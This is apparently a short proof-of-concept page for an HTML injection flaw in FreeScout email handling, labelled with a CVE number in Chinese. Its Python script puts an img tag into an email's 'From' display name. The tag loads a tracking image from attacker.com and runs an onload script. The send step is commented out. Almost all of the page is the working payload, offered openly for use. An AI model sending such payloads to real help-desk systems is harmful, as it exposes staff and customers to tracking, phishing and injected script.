CVE-2026-40567 FreeScout邮件HTML注入漏洞

import smtplib from email.mime.text import MIMEText from email.mime.multipart import MIMEMultipart def send_poc_email(): # Configuration for the target FreeScout email target_email = "[email protected]" sender_email = "[email protected]" # Malicious 'From' display name containing HTML injection payload # This payload attempts to inject a tracking pixel or phishing link malicious_display_name = 'Test User <img src="http://attacker.com/track.png" onload="alert(1)">' # Create the email message msg = MIMEMultipart() msg['From'] = malicious_display_name msg['To'] = target_email msg['Subject'] = "Help needed: HTML Injection Test" body = "Hello, I have a question regarding your service." msg.attach(MIMEText(body, 'plain')) # Send the email try: # Note: Replace with actual SMTP server details for testing # server = smtplib.SMTP('smtp.example.com', 587) # server.starttls() # server.login(sender_email, "password") # server.send_message(msg) # server.quit() print(f"[+] Payload prepared: {malicious_display_name}") print("[+] If successful, the HTML will be rendered in FreeScout replies.") except Exception as e: print(f"[-] Error sending email: {e}") if __name__ == "__main__": send_poc_email()